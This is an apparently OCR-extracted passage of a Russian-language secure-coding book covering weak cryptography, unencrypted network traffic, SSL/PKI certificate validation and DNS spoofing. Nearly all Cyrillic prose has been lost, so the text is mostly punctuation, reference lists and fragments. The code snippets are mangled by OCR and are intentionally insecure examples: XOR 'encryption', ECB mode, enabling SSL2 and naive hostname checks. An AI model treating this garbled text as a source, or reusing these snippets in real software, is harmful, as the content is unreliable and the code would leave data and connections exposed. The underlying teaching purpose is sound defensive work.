papers/download/developer_gambling.pdf
NIST FIPS 140 ,
.
: FIPS 140-2.
,
. http://csrc.nist.gov/cryptv a l/140-2.htm
EGADS (Entropy Gathering AND Distribution System)
,
: www.securesoftware.com/resources/download_egads.html
RFC 1750: Randomness Recommendations for Security: www.ietf.org/rfc/rfc1750.txt
Debian Wiki, SSL Keys: http://wiki.debian.org/SSLkeys
Debian OpenSSL Predictable PRNG Toys: http://metasploit.com/users/hdm/tools/
debian-openssl/
Windows Vista. . , . (,
, 2008).
Strange Attractors and T C P /IP Sequence Number Analysis by Michal Zalewski:
http://lcamtufcoredump.cx/oldtcp/tcpseq.html#cred
Randomness and the Netscape Browser by Ian Goldberg and David Wagner: www.
ddj.com/documents/s=965/ddj9601h/9601h.htm


().
,
64, 128 .
- ,
.

331

-
() .
-
() .

() , .


, (
) .

.
,
.
;
, ,
. ,
( ), , .
,
:
.
,
.

333

.
.
.
.
.
.
.
.
.
.

.
-.
,
,
.

CWE
CWE ,
, :
CWE-326: .
CWE-327: ,
.


,
: .

, , .
.


.

. ,

334

21

. -
, - ,
.
. .
,
. -
, ,
; ,
.
, NIST
DES ( AES),
15
AES.

,

,

. ,
AES RSA , .
.
, ,
, , , .
:
,
,
. ( )
, ,
.


, .
:
DES ; 56 .
3DES 2010 .
.
,
128 , 40- RC4. 40-

(, ). , Microsoft Office,

335

40- RC4,
, (
) .
MD4 MD5 . MD4 ,
- . ,
-
(, CRC64), MD4 ,
. MD4 PC . MD5
MD4. MD4 MD5
CRC64
-
. , , , -

.
,
,
, .
,
1024- RSA DH (Diffie-Hellman)
2048- ,
1024-
(< 1 ).


.
: (, RC4),
(Electronic Code Book).

.NET Framework,
, 3DES, AES DES. ,
- ? , .
, ,
RC4, RC4
, www.codeplex.com/offcrypto.
,
, ,

(, AES).
:
, .
RC4 . ,

336

21

RC4
XOR. ,
, XOR
, XOR .
, .
.
,
. ,
,
, , .
: RC4,
,
. 1024 ,
.
-
.
,

.

, ,
.
,
-, ,
. ,
.
, ,
, . :
.
, : abed efgh.
abedef gh, - ,
.
,
,
cookie -. , - :
Hash = ( + _)


. ,
:
Hash = (secret + "D")

David, Doug
, D.

337

, ;
, ,
. (length extension attack).
.

(Electronic Code Book)


, :
.
, , (),
, .
:
Linux
! .
, ,
.
, ,
.

,
, .

. ,
, .

.
,
...
. .
.

: (,
base64) , .
, .
,
,
. , base64
, base64
/ . base64
.

338

21



.
,
. !
, .
( ),
; , base64.

, . -
, ,
.


,
, .
SSL2 , ,
Firefox 3.x Internet Explorer 7.x. SSL2 .


(salt) .
. .
(
). 16
2128 , .
,
20.
, ,
KDF.
,
.

, , ,
,
.


,
(chaining mode).
, AES (Cipher Block Chaining)
N

339

N+1.
? ,
(IV, Initialization Vector). ,
.


, KDF (Key Derivation Function),
,
,
( 20).
,
.
, .
Adobe Microsoft .
; ,
, ,
.
.
: ,

. 128 ,

. , .
( ) ,
. KDF
AES-256 , AES-128,
, .


,
, . .
RC4 .
,
,
(). ,
,
.

.
, (
). USB-
: FAT
,

340

21

, ,
. ,
.


, ,
. :

.
,
, ,
. : RFC 2898 ,
1000 ,
2000 , RFC.
100 .
.

: , ,
,
- ,
.
(.
),
. ,
, ,
.
- , SHA-1 , MD5 (
, SHA-1
), SHA-256
, .


, , 20,
, 23, PKI ( SSL).


.
grep ! MD4, MD4
, .

341


.

,
; .

(VB.NET C++)
/ XOR.
,
,
.
, :
. VB.NET:
Public Function Encrypt(ByVal msg As String, ByVal key As String) As String
Dim out As String = ""
For i = 1
Dim p
Dim k
out =
Next i
Encrypt =
End Function

To (Len(msg))
As Integer = Asc(Mid$(msg. i. 2))
As Integer = Asc(Mid$(key. ((i Mod Len(key)) + 1). 1))
out + Chr(p Xor k)
out

Public Function DecryptCByVal msg As String, ByVal key As String) As String


Decrypt = Encrypt(msg. key)
End Function

, C++:
DWORD EncryptDecrypt(_Inout_bytecount_(cb) char *,
size_t cb.
_In_z_ char *szKey) {
if (!p || !cb || IszKey)
return ERR0R_INVALID_DATA;
size_t cbKey = strlen(szKey):
if (!cbKey)
return ERR0R_INVALID_DATA:
for (size_t i = 0; i < cb: i++)
p[i] x= szKey[i %cbKey]:
return S OK:

342

21

,

,
.

,
.

(C# C++)
grep.
,
:
MD4
MD5

DES
3DES TripleDES


(Ruby, C# C++)
.
, RC4.
, ,
Ruby,
:
require 'digest/shal'
result =
Digest::SHAl.hexdigest(datal.concat(Digest::SHAl.hexdigest(data2)))

#:
SHA256Managed hash = new SHA256Managed();
byte [] result = hash.ComputeHash(Encoding.UTF8.GetBytes(uid +

pwd));

.NET string .Concau v.


byte[] result =
hash.ComputeHash(Encodi ng.UTF8.GetBytes(String.Concat(uid, pwd))):

.
C++ CryptoAPI Windows.
:

DWORD

dwMode = CRYPT_MODE_ECB ;
if (CryptSetKeyParam( hKey. KP_M0DE, (BYTE*)&dwMode. 0)) {

//
} else {

343

1 1 !

}
Java Platform Standard Edition;
AES .
SecretKeySpec keySpec = new SecretKeySpec(key, "AES");
Cipher cipher = Cipher.getInstance(nAES/ECB/PKCS5Padding);
cipher.init(Ci pher.ENCRYPT_MODE. keySpec);



.
, , ,
.
.


SSL2 SSLv2. ,
,
schannel.dll Windows:
SCHANNEL_CRED schannel_cred = {0};
schannel_cred.dwVersion = SCHANNEL_CRED_VERSION;
schannel_cred.grbitEnabledProtocols |= SP_PR0T_SSL2:


,
.
.


; .


, 2008
MD5 .509,
SSL/TLS. MD5 Considered Harmful Today: Creating a Rogue
CA Certificate ( .), - MD5,
,
. , MD5,
.

344

21

X0R Microsoft Office


, - , Word
. MS-OFFCRYP ,
XOR, , ,
, 16-
. ,
2.3.7.2.
,
, ,
16- . MS-OFFCRYPTO 16-
, .
: ,
9-10 , .
16- ,
,
CRC16, .

Adobe Acrobat KDF Microsoft Office


Adobe Acrobat 9: ,
(KDF).
,
KDF . Acrobat 5 -8
KDF 51 MD5 20 RC4,
50
2009 . Acrobat 9
SHA256. :
, SHA256 ,
;
5-10 ,
100 ..
,
Microsoft Office,
SHA-1 RC4, ,
, 40-
. AES Office 2007 50 002 SHA-1
AES128; Elcomsoft 5000
. Office
100 002.
,
- 7
5000 , 100

345

10 .
7 , 10 .


,
. , . ,
MD5, , ,
128- , SHA-256
.
.

,

, ,
. :
SSL3 TLS.
IPSec.
XMLDSig ( ).
XMLEnc ().


,
.
: .
,
RFC,
, .
IETF
(. RFC 4772, Security Implica
tions of Using the Data Encryption Standard (DES)).


, .
RC4 .

34G

21

.
RC4 (, ),
:
.

.
, RC4,
, .
,
1
1 ,
.
: RC4, ?
RC4,
, -,
, .., RC4 AES
.
(, AES) ,
, . ,
CTR (Counter), , CFB (Cipher Feed
back) OFB (O utput Feedback)
, . , ,
.

.
,
, N
N+1.
; , Office
2007 SP2, 4096 . ,
32- .
.
,
.
, ,
, . RC4 .
, ,
. , Office, .

,
, ,
. :

347

. ,
.
,
.
, -
,
.
: ,
, .
Hash = ( + _)

Hash = (. _)


,
, , .
, .
.



8 ( 16)
(SHA256 SHA512)
. ,

. ,
.

;
KDF.
,
, ,
.



. , C#
:
AesManaged aes = new AesManagedO:
RNGCryptoServiceProvider rng = new RNGCryptoServiceProviderO;
rng.GetBytes(aes.IV);

348

21


PBKDF2, RFC 2898.
.NET : Rfc2898Deri veBytes
:
Rfc2898DeriveBytes b = new Rfc2898DeriveBytes(pwd. salt, iter);
byte [] key = b.GetBytes(32);

Java:
private static final String alg = "PBKDF2WithHmacSHAr;
SecretKeyFactory skf = SecretKeyFactory.getInstance(alg. "SunJCE");

,
( ) www.codeplex.com/offcrypto.
AES;
. ,
KDF.
, ,
, .
1/4 .
: Windows, Windows 7,
RFC 2898, Crypto API
CryptDeri veKey, .
RFC 2898 Windows 7
BCryptDeriveKey.

OpenSSL 0.9.8.x
RFC 2898, :
int res = PKCS5_PBKDF2_HMAC_SHAl(password. passwordjen.
salt, saltjen,
iter,
keylen,
key):



. ,
, , ,
, .
,
.
,
. : - .
, .
MSOFFCRYPTO:

349

1. ( ,
!)
2. 1.
3. .
4. ( 2) .
5. : ,
KDF, , . .
, ,
, .
;
.
www.codeplex.com/offcrypto.



.

. ;
, 1
, , 1-
( ,
RC4,
).
,
; , ,
, .
Windows, CNG,
Windows Vista ,

.
CNG, Windows
.
CAPI, .
,
Windows,
,
. 17.


: SSL2 SSL3 TLS.

350

21



. .


MD5 Considered Harmful Today: Creating a Rogue CA Certificate by Sotirov,
A. et al.: www.win.tue.nl/hashclash/rogue-ca/
Deploying New Hash Functions by Bellovin & Rescorla: www.es.Columbia,
edu / ~smb/talks/talk-newhash-nist.pdf
RFC 4772, Security Implications of Using the Data Encryption Standard (DES):
www.rfc-editor.org/rfc/rfc4772.txt
[MS-OFFCRYPTO]: Office Document Cryptography Structure Specification:
http://msdn.microsoft.com/en-us/library/cc313071.aspx
Office Crypto KDF Details by David LeBlanc: http://blogs.msdn.com/david_leblanc/archive/2 0 0 8 /12/0 5 /ffice-crypto -kdf-details.aspx
With 256-Bit Encryption, Acrobat 9 Passwords Still Easy to Crack by Dancho
Danchev: http://blogs.zdnet.com/security/7p =2271
Microsoft Office encryption examples by David LeBlanc: www.codeplex.com/offcrypto
ECB mode and the Linux Penguin: http://en.wikipedia.org/wiki/Block_cipher_
modes_of_operation # Electronic_codebook_.28ECB.29

SSL 3 TLS1 .
, .

.
: , AES
SHA-2 .
.
, .
,
( , , !)
MD4 MD5 ( , ).
SHA-1 .
DES.

3S1

RC4, .
.
DES, 2- 3DES SHA-1
.
CRC64
MD4 MD5.


,
WiFi. -
, , .

.
(, Defcon),
.

.
,
. - -,
, .
: , - ,
, . ,
, !

356

22

, :
-
.
- ,
.
, SMTP (Simple Mail Transfer Protocol) , IMAP
(Internet Message Access Protocol) POP (Post Office Protocol)
, SNMP (Simple Network Management Protocol) HTTP (Hypertext Transfer
Protocol) -,
,
.
, ,
, . ,
. , telnet,
rlogon rshwere ,
ssh . ,
!

CWE
CWE ,
:
CWE-319: .

;
.


,
.

, ,
-
. ,
. ,

.
,
,
, . ,

357

(switches),
.
,
, ,
,
.
(, ),
.
(,
), ARP (Address
Resolution Protocol),
.
.
: ,
ARP-
, .
DHCP,
, ,
, ,
.
IPv6, NDP (Neighbor Discovery Protocol)
,
!
ARP-? ARP
2 (MAC (Message Authentication Code)
Ethernet) 3 (IP -). ( 1
, .)
, , -
(Media Access Control), , IP- .
,
. ARP
,
Ethernet,
.
,
,
.

,
.
,
.
, C/C++,
C/C++,
.

358

22

,
(. 19),

. ,
,
.
.
CVE (http://cve.mitre.org): CVE-2002-0813, CVE-2003-0100
CVE-2003-0647. ,

,
,
.

, ,
. ,
, .
,
.
,
.
.
( , . .).
( ),

.
.
.
, . ,

.
. , ,
, .
, ,
.

,
UDP (User Datagram Protocol).
,
. ,
TCP (
), ,
. ,

359

, SMTP; ,
.
- , NTLM Kerberos.
,
, . (
)
UDP R PC - (135)
Windows NT 4.0, . 1 2
, 2 .
/
.
(, , ), ,
TCP
, ,
( ).
.
, 1 0.
TCP
,
,
.
. ,
,
. /
( ,
),
.
,
,
. ,
, .
,
:
. ,
.
/
.
. , -
SSL/TLS
.
.
,
. , telnet
,

360

22

. -
.
,
,
URL-.
. ,
.

. : ,
, ,

.
, ,
.
, . ,
, RC4 (
),
,
.
, ,
.
RC4
, -
,
, , . ,
,
.
.


,
PK I-
(, SSL/TLS . 23)
( 21).
SSL
SSL
.
,
(, 22 18).

( 20).

381


:
( ,
?).
.
, ,
.

, , ,
, , . .
,
. ,
,
?
.
,
.


(
), . ,
, . ,
SSL/TLS;
23 .
, , ,
,
. ,
.
,
, .
,
.
PKI, SSL (
23).


, ,
. ,
.
, ,

362

22


. ,
, ,
. ,
, .
, TCP,
. ,
, SSL.
SSL- ssldump (www.
rtfm.com/ssldump/).
,
,
,
. , (
, . .)
.

.
,
. , ,
.
.

TCP/IP
IP (Internet Protocol) , ,
TCP (Transmission Control Protocol), ICMP UDP,
,
. TCP ,
,
, ,
-.
,
,
.
IPv6
. ( IPSec)
,
IPv4.
(VPN, Virtual Private Network)
,
.

363


,
. SSL SMTP, POP3 (Post Office Protocol 3) IMAP,

,
.
.

( ,
),
POP, IMAP SMTP SSL.

E*TRADE
E*TRADE
XOR. ,
. ,

. ,
.
, XOR
,
.



SSL/TLS - (,
Kerberos). SSL ( PKI)
23.
SSL/TLS,

(, Stunnel). IPSec
VPN- .
SSL/TLS - . SSL
, ,
DoS-. ,
, .
:
. SSL, ssh
API Kerberos, Windows
D C O M /RPC (Distributed Component Object Model/Remote Procedure Calls).

22

,
, , NIS,
Kerberos NTLM 20 . ,
.
19-21.
,
,
,
.

. , Kerberos
, HTTP
; , , NTLM
HTTP ,
(, T C P /IP ). ,
,
, .


, , Data Protection
API Windows CDSA API.


ssldump SSL: www.rtfm.com/ssldump
- SSL Stunnel: www.stunnel.org

, SSL/TLS IPSec.
.
,
.
, .
, .
SSL/TLS
.
, .

385

.
.
, XOR
.

: , VPN,
. .


PKI
( SSL)


PKI (Public Key Infrastructure) .
SSL/TLS ( SSL); IPSec,
- S/MIME.
, .
PKI SSL,
,
PKI .
SSL (Secure Sockets Layer) ( TLS, Transport Layer
Security)
. SSL
(, HTTP),
,
.

CWE

367

SSL , SSL
PKI, . :
PKI ,
. PKI ,
. , SSL
.
SSL SSL
, SSL
H TTP SSL ,
, SSL.
, SSL,
:
( / ).
.
.
,
21 (.
). , SSL,
, .
, . ,
!
SSL .
TCP: TCP SSL,
, SSL... . ,
HTTPS (HTTP SSL) ,
.
SSL , .

CWE
CW E CWE-295:
. ,
, :
CWE-.296:
.
CWE-297: .
CWE-298: .
CWE-299: .
CWE-324: .

:
CWE-322: .

368

23 PKI ( SSL)


SSL
. ,
. HTTPS ,
SSL, HTTPS
, SSL.
SSL API .

SSL .
SSL
. ,
-,
(, ,
).
.

SSL, .
( ) ,
.
,
; .

SSL.
, , ,
-. ,
, ,
!
SSL PKI ( ).
PKI
. PKI,
.509, SSL;
,
. RFC 2459, Internet
.509 Public Key Infrastructure: Certificate and CRL Profile
, .
, .509 PKI, ,

( ,
):
, ,
(, Certification Authority).

369

, .
.509 ; ,
, .
, ,
.
, ,
, (S/M IM E).
, . , ,

!
;
.
-
,
. ,
,
.



SSL,
SSL (. 21)
(. 20).


,
.
:
PKI (, SSL TLS).
HTTPS.
,
.


.
, SSL. API
,
SSL, TLS secure.?socket (
).

370

23 PKI ( SSL)

SSL ,
:
(),
, .
.
DN /
.509 subjectAltName.
(,
).
. , ,
.
, . ,
.

.
, ,
, MD5.

. ,
Python,
socket Python 2.4:
import socket
s = socket.socket
s.connect((www.example.org , 123))
ssl = socket.ssl(s)
,
SSL. Python :
, SSL .
, ,
(CRL, Certificate Revocation List)
OCPS (Online Certificate Status Protocol). API ,
SSL API, ;
CRL OCSP
.
,
:
?
, ?
CRL ?
CRL
( HTTP LDAP)?

371

,
(, DN),
. ,
, "www.examp1.com",
.
string name = cert.GetNameInfo(X509NameType.SimpleName.false);
if (name == "www.example.com") {
// ^*, www.example.com!


HTTPS (H TTP
SSL) , d sn iff ettercap.
, HTTPS, ,
HTTP,
.
,
,

. ,
:
, .
(, Micro
soft Certificate Manager OpenSSL),
.
Microsoft self cert,
exe.
( notBefore).
( notAfter).
( subjectName); , www.
example.com www.notanexample.com.
; ,
(digitalSignature) (emailProtection),
(serverAuth) (cl ientAuth),
, .
(, signatureAlgorithm
md5RSA ( md5WithRSAEncrypti on)).
.
CRL OSCP,

,

372

23 PKI ( SSL)

. OCSP
OCSP. CRL
, ( ).
, CRL
, , CRL
.

,
( ),
CVE . , .

CVE-2007-4680
CFNetwork Apple Mac OS X
,
.
CFNetwork, ,
Safari.

CVE-2008-2420
Stunnel : OCSP
CRL,
.


) PKI
,

(, SSL), -
^ .
.

.509 v3 subjectAltName.
(
).

373


API .
,
, . API - ,
,
.
( ) SSL
. , Java
SSL
HandShakeCompletedListener SSLSocket.
:
public void handshakeCompIeted(HandShakeCompletedEvent event):


event.getPeerCerti fi cates():

java.security.cert.Certificate. Certificate
java.
security.cert.X509Extension,
(java.security.cert.X509Certificate,
X509Extension).
,
, ,
. Java API
, ,
, .
,
,
, .
, ,
,
:
try {
((X509Extension)(certificate^])) .verify(certificate[l].getPublicKey()):
} catch (SignatureException e) {
/* . */

}
:
.
:
try {
((X509Extensi on)(certi fi cates[0])).checkVali dity();
} catch (CertificateExpiredException el) {
/* . */
} catch (CertificateNotYetValidException e2) {
/* . */

374

23 PKI ( SSL)

.NET Framework ,
:
X509Chain chain = new X509Chain();
chain.Build(cert);
if (chain.ChainStatus.Length > 0) {
//

}
,
. , SSL
.
:
(, . 24)
. ,
,
, .
,
, .
, ,
.

: .
,
, .
, ( ),
.


dnsName subjectAltName,
.
DN. , API
.
Java JSSE.
subject AltName, .509 ,
DN:
private Boolean validateHost(X509Extension cert) {

Strings*"":
String EXPECTED_HOST = "www.example.com";
try {
/* 2.5.29.17 - "OID",
* . */
s = new String(cert.getExtensionValue("2.5.29.17"));
if (s .equa1s(EXPECTED_HOST)) {
return true:

else { /* ,
* , DN.

375

*
. */
return false;

}
} catch(Certif1cateParsingException e) {} /* , DN. */
if (cert.getSubjectDN().getName().equals(EXPECTED_HOST)) {
return true:
} else {
return false:

}
}
Microsoft .NET Ssl Stream.
.

Authenti cateAsCl ient,



CRL. OCSP (Online Certificate Status Protocol)
, .
CRL. , CRL
CRL, CRL (CDP, CRL Distribution Point),
. CRL ,
FILE://, H T T P :// LDAP://.
, CRL , https://www.rsa.com,
http://crl.rsasecurity.com:80/RSA%20Corporate%20Server%20CA-2.
crl. , https://www.rsa.
, CRL, URL-
CRL. .
.
, CRL
. Windows
.
, CRL.
,
.
, 24
.
,
CRL ,
.
.
, CRL
(, ,
). CRL,
CRL.
, ,
.509 ,

376

23 PKI ( SSL)

. , ,
, SSL.
, ,
.

PKI
!
, ,
, ,
:
, PKI (, SSL), .
! ,
, ,
,
. ! -
-
. , - Stunnel;
, , .
, .
SMTP -;
, ,
.


,
, SSL.
.
,
.
,
.


The HTTPS RFC: wiew.ietf.org/rfc/rfc2818.txt
RFC 2459, Internet X.509 Public Key Infrastructure: Certificate and CRL Profile:
www.ietf.org/rfc/rfc2459.txt
The Java Secure Socket Extension (JSSE) API documentation: http://java.sun.com/
products/jsse/

377

The OpenSSL documentation for programming with SSL and TLS: www.openssl.
org/docs/ssl/ssl.html
VeriSigns SSL Information Center: www.signio.com/products-services/securityservices/ssl/ssl-information-center/
SslStream information: http://msdn2.microsoft.com/library/d50tfa1 c(en-us,vs.80).
aspx

, SSL .
,
SLL .
,
:

.
.
DN /
.509 subjectAltName.
(
).
.
CRL

.
,
- .
, SSL/TLS
( HTTPS).
(, DN).

.
(responder) OCSP
, ,
.


,
.
, , http://216.239.63.104 IPv4
- www.google.com,
,
.
,
.
DNS, Windows WINS (Windows Internet Name Service).


: .

379

CWE
CWE , :
CWE-247: DNS.


,
.
, , , ,
,
.

, ,
. :
, ?
(
)
,
, .

,
: .
.
IP -
.
, ,
,

.

, DNS,
. www.example.
. DNS ,
IP- ( ) wuw.example.com. , DNS
UDP, TCP
. DNS , .
, example.com
, -
. DNS ,

380

24

example.com (
., example.com )
; example.com . ,
DNS
,
. DNS
- .
, , ?
: 1-
. ,
DNS. , www.example.com,
evilattackers.example.org, .
16-
, ,
.

. .
, ,
DNS, .
: IP - DNS,
. ,
,
DNS ,
, . ,
,
. , ,
,
, DNS .
IP- DNS.
DNS, .
, , IP - DNS.
, ,
IP -, . , ,
IP - ,
IP - .
,
.
,
. 64 ,
.
Windows
1024 5000, 16 12.
, 1024,
. ,
.

381

, (Dan Kaminsky) IOActive,


DNS , ,
16 , 1024
. ,
,
( ).
, ,
( ),
,
.
, IP -
,
. , .
, IP-
IP- , ,
, .
, .
,
. , DNS ,
- .
, , ,
. , DNS
, ,
?
TTL (Time Live) , .
,
, .
: DNS ,
? DNS
,
. , DNS
,
DNS, (piggy-backed) .
, DNS (DNSSEC, DNS Secu
rity Extensions) , .
(, IPv4),
.
(DHS, Department of Homeland Security)
DNSSEC, DNSSEC
.
, DNSSEC DNS,
, DNSSEC , . DNSSEC
DNS,
(denial of existence), DNSSEC
DNS.

382

24

?
DHCP (Dynamic Host Configuration Protocol) IP-,
IP - DNS, DNS
. D H CP DNS .
; ,
, .
IPv6 ,
NDP (Neighbor Discovery Protocol)
,
.
, D H CP
. , IPv6
,
:
, IPv4, , . ,
,
;
( ).
, ,
.
, , .
, , ,
DNS .
,
DNS .


rsh (Remote
SHell). rsh .rhosts,
; ,
. , rsh
,
,
(1-1023) , .
rsh, . ,
rsh .
Takedown: The Pursuit and Capture of Kevin Mitnick,
Americas Most Wanted Computer OutlawBy the Man Who Did It
(Tsutmu Shimomura) (John Markoff) (Warner Books,
1996).
TCP, ,
DNS.
Microsoft Terminal Services.
, ,

383

,
(M ITM ) ,
.
MITM SSL/TLS.
,
(
, ), ,
.
; , .


:
.
. , www.example.com www.example.com. (
.) .
,
,
DNS. ,
foo, example.org,
foo.example.org. - foo.example.
org., ,
(FQDN, Fully Qualified Domain Name)
. ,
, Microsoft
DNS, , foo.example.org, foo.org.

. ,
,
, .
.


,
, -
,
. chargen, echo tod (Time Of
Day), ,
,
. SSL ( , SSL/TLS)
,
,
.

384

24

SSL/TLS . , PKI
( SSL), 23.
SSL
.



, ,
.
, ,
gethostbyaddr ( 16- ),
, .
,
. TCP ,
UDP. UDP,
, , DNS
. UDP.
TCP
.
,
UDP.


, ,
.
.
.
,
. - , , ,
, . ,
, base64 ASN.1
,
, .
,
, .
,
. ,

.
-
( ),
.

385

, hosts
, DNS, .
, .

CVE (http://cve.mitre.org/ )
.

CVE-2002-0676
CVE:
SoftwareUpdate MacOS 10.1.x
. ,
Apple ( ,
DNS )
.
www.
cunap.com/~hardingr/projects/osx/exploit.html.
:
SoftwareUpdate ( )
HTTP swscan.apple.com GET
/scanningpoints/scanningpointXjcml.
OS X . OS X
/WebObjects/SoftwareUpdatesServer
swquery.apple.com HTTP POST. Softwa
reUpdatesServer ,
.
No Updates.

. -, .
(
) .
, ,
,
.

CVE-1999-0024
CVE: DNS BIND
.
www.securityfocus.com/bid/678/discussion.
, DNS
, DNS .
www.cert.org/advisories/CA-1997-22.

386

24

html. , ,
BugTraq The Impact of RFC Guidelines on DNS Spoofing Attacks (12
2004 .), wxjm.secuntyfocus.com/archive/1/368975.
,
. , ,
, Windows 2003 Server
, Windows Service Pack 2.


,
, .
, ,
DNS.
,
, .
, SSL,
PKI (. 23).
, , , ,
.
IPSec IPSec
Kerberos,
. , - ,
(
Windows ) Kerberos. IPSec ,
PKI (Public Key
Infrastructure) . IPSec

.
IPSec DNS.
,
DNS, .
, : ,
.
Kerberos
Windows, ,

. , . ,
Windows, HTTP,
( )
. SSL/TLS.
,

, .

387

,
, .
,
. ,
,
.
:
DNS,
DNS IP- hosts. ,
ARP ARP,
, ,
. , ,
, ,
.


Building Internet Firewalls, Second Edition by Elizabeth D. Zwicky, Simon Cooper,
and D. Brent Chapman (O Reilly, 2000).
DNS Security Extensions: www.dnssec.net/
DNSSEC Deployment Initiative: www.dnssec-deployment.org/
Threat Analysis of the Domain Name System (DNS) RFC 3833: www.rfc-archive,
org/getrfc.php ?rfc=3833
OzEmail: http://members.ozemail.com.au/-987654321/impact_of_rfc_on_dns_
spoofing.pdf


. SSL.
.
DNS !
IPSec ,
.

Вам также может понравиться